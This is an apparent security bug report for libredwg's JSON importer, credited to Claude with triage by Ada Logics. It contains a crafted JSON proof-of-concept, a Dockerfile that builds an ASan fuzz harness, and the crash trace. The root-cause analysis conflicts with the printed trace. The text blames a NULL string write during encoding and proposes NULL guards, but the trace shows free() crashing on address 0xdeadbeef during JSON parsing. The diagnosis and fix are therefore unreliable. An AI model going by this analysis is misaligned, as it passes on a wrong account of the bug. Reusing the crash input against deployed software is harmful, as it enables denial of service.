Illegal write memory access from `dwg_read_json`
fuzzing
## Summary
libredwg's JSON importer (`dwg_read_json`) successfully parses a crafted FIELD object with `format_flags=4`, `data_long=0xDEADBEEF`, and `data_string="trigger"`, producing an internal `Dwg_Object` with `obj->type=500` (user-class range) but `obj->fixedtype=DWG_TYPE_FIELD=635`. The subsequent encode or DXF-write phase then calls into the `TABLE_value_fields` macro (defined in `src/dwg_spec_shared.h`) which contains a `SINCE(R_2007a)` block that unconditionally writes `value.format_string` and `value.value_string` via `FIELD_T`. Because the JSON PoC never sets these fields, both pointers are `NULL` at encode time. For R_2007+ output (the PoC declares `AC1024` / R_2010), `FIELD_T` expands to the Unicode path `FIELD_TU`, which calls `bit_write_TU(NULL)`. Writing a NULL Unicode string triggers an access violation, producing `AddressSanitizer:DEADLYSIGNAL`
libredwg parses and writes AutoCAD DWG/DXF/JSON files. The `FIELD` object type stores formula-field metadata including a `Dwg_TABLE_value` sub-struct. That struct has two string members — `format_string` (DXF code 300) and `value_string` (DXF code 302) — that are written unconditionally in R_2007+ output regardless of whether they were populated during parsing.
The guard condition `!(dat->version >= R_2007 && (format_flags & 3))` that precedes the `data_type` switch does not protect the `SINCE(R_2007a)` trailing block. Setting `format_flags=4` (bit 2 only; `& 3 = 0`) keeps the data-type switch active but does not affect whether the trailing string-output block runs. Both blocks execute, and the trailing block writes two `BITCODE_T` (char\*) fields that the JSON importer left as `NULL`.
### Vulnerable Code
https://github.com/LibreDWG/libredwg/blob/615cd958ff00c13e110c0b87ca96121ed15e34f6/src/dwg_spec_shared.h#L587-L648
https://github.com/LibreDWG/libredwg/blob/615cd958ff00c13e110c0b87ca96121ed15e34f6/src/in_json.c#L2837-L2903
**Plain explanation**: `TABLE_value_fields` always emits `value.format_string` and `value.value_string` for R_2007+ files. The JSON importer populates only the fields explicitly present in the input; when `"format_string"` and `"value_string"` are absent from the JSON (as in the PoC), those struct members remain `NULL`. When the encoder later expands `FIELD_T(value.format_string, 300)` into `bit_write_TU(NULL)` for a Unicode-mode output stream, the NULL pointer dereference crashes the process.
In the encode/DXF-write path `TABLE_value_fields` evaluates (for R_2010, IS_FROM_TU=true). It safely writes the data as `uint32`, but later FIELD_T macro deferencing a null and cause the crash.
https://github.com/LibreDWG/libredwg/blob/615cd958ff00c13e110c0b87ca96121ed15e34f6/src/dwg_spec_shared.h#L591-L597
https://github.com/LibreDWG/libredwg/blob/615cd958ff00c13e110c0b87ca96121ed15e34f6/src/dwg_spec_shared.h#L642-L648
## Reproduction Steps
```
# Docker image build for the reproduction
docker build -t poc -f Dockerfile .
# Docker run of the reproduction
docker run poc
```
## Full Dockerfile content
```dockerfile
FROM gcr.io/oss-fuzz-base/base-builder
RUN apt-get update && apt-get install -y autoconf libtool texinfo
ENV SANITIZER=address
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address -stdlib=libc++"
ENV LIB_FUZZING_ENGINE="-fsanitize=fuzzer"
RUN git clone https://github.com/LibreDWG/libredwg /src/libredwg
WORKDIR /src/libredwg
RUN sh ./autogen.sh && \
./configure --disable-shared --disable-bindings --enable-release \
CFLAGS="$CFLAGS -Wno-default-const-init-field-unsafe -Wno-uninitialized-const-pointer -Wno-error" \
CXXFLAGS="$CXXFLAGS -Wno-default-const-init-field-unsafe -Wno-uninitialized-const-pointer -Wno-error" && \
make -j$(nproc)
RUN $CC $CFLAGS -Wno-default-const-init-field-unsafe -Wno-uninitialized-const-pointer \
src/.libs/libredwg.a -I./include -I./src -c examples/llvmfuzz.c -o /tmp/llvmfuzz.o && \
$CXX $CXXFLAGS $LIB_FUZZING_ENGINE /tmp/llvmfuzz.o src/.libs/libredwg.a -o /out/llvmfuzz
RUN cat <<'EOF' > /tmp/poc
{
"created_by": "libredwg 0.12",
"FILEHEADER": {"version": "AC1024"},
"HEADER": {"ACADVER": "AC1024"},
"CLASSES": [],
"OBJECTS": [{
"object": "FIELD",
"index": 0,
"type": 500,
"handle": [0, 1, 100, 100],
"value": {"format_flags": 4, "data_long": -559038721},
"value.data_string": "trigger"
}]
}
EOF
CMD ["/out/llvmfuzz", "/tmp/poc"]
```
### AddressSanitizer crash output
The original crash report contains only:
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x0000deadbeef (pc 0x5831172fbc63 bp 0x000000000001 sp 0x7ffc7fa3bce0 T0)
==1==The signal is caused by a WRITE memory access.
#0 0x5831172fbc63 in atomic_compare_exchange_strong<__sanitizer::atomic_uint8_t> /src/llvm-project/compiler-rt/lib/asan/../sanitizer_common/sanitizer_atomic_clang.h:97:10
#1 0x5831172fbc63 in AtomicallySetQuarantineFlagIfAllocated /src/llvm-project/compiler-rt/lib/asan/asan_allocator.cpp:674:10
#2 0x5831172fbc63 in __asan::Allocator::Deallocate(void*, unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType) /src/llvm-project/compiler-rt/lib/asan/asan_allocator.cpp:738:10
#3 0x58311739c676 in free /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:52:3
#4 0x583117d11ea4 in dynapi_set_helper /src/libredwg/src/gen-dynapi.pl:3512:11
#5 0x583117d13bc0 in dwg_dynapi_field_set_value /src/libredwg/src/gen-dynapi.pl:3880:3
#6 0x583119b2b517 in _set_struct_field /src/libredwg/src/in_json.c:2345:15
#7 0x583119b2a63e in _set_struct_field /src/libredwg/src/in_json.c:2939:23
#8 0x583119b116a2 in json_OBJECTS /src/libredwg/src/in_json.c:3665:19
#9 0x583119b0919e in dwg_read_json /src/libredwg/src/in_json.c:5392:18
#10 0x5831173e08a8 in LLVMFuzzerTestOneInput /src/libredwg/examples/llvmfuzz.c:98:11
#11 0x58311727df5d in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:619:13
#12 0x583117268cd2 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:329:6
#13 0x58311726eba0 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:865:9
#14 0x58311729a6d2 in main /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:10
#15 0x719756c39082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 5792732f783158c66fb4f3756458ca24e46e827d)
#16 0x583117261dbd in _start (/out/llvmfuzz+0x361dbd)
==1==Register values:
rax = 0x0000000000000002 rbx = 0x00007ffc7fa3bd38 rcx = 0x000058311727ba03 rdx = 0x0000000000000000
rdi = 0x00000000deadbeff rsi = 0x00000000deadbeff rbp = 0x0000000000000001 rsp = 0x00007ffc7fa3bce0
r8 = 0x00007ffc7fa3bd38 r9 = 0x0000000000000001 r10 = 0x0000000000000000 r11 = 0x000000000000000c
r12 = 0x000058311a402ec8 r13 = 0x00000000deadbeef r14 = 0x00000000deadbeff r15 = 0x0000000000000000
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /src/libredwg/src/gen-dynapi.pl:3512:11 in dynapi_set_helper
```
## Recommended Fix
Add NULL guards before writing optional string fields in the `SINCE(R_2007a)` block of `TABLE_value_fields` .
## Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged manually with manual report writing by Ada Logics in collaboration with Anthropic Research.
0 条评论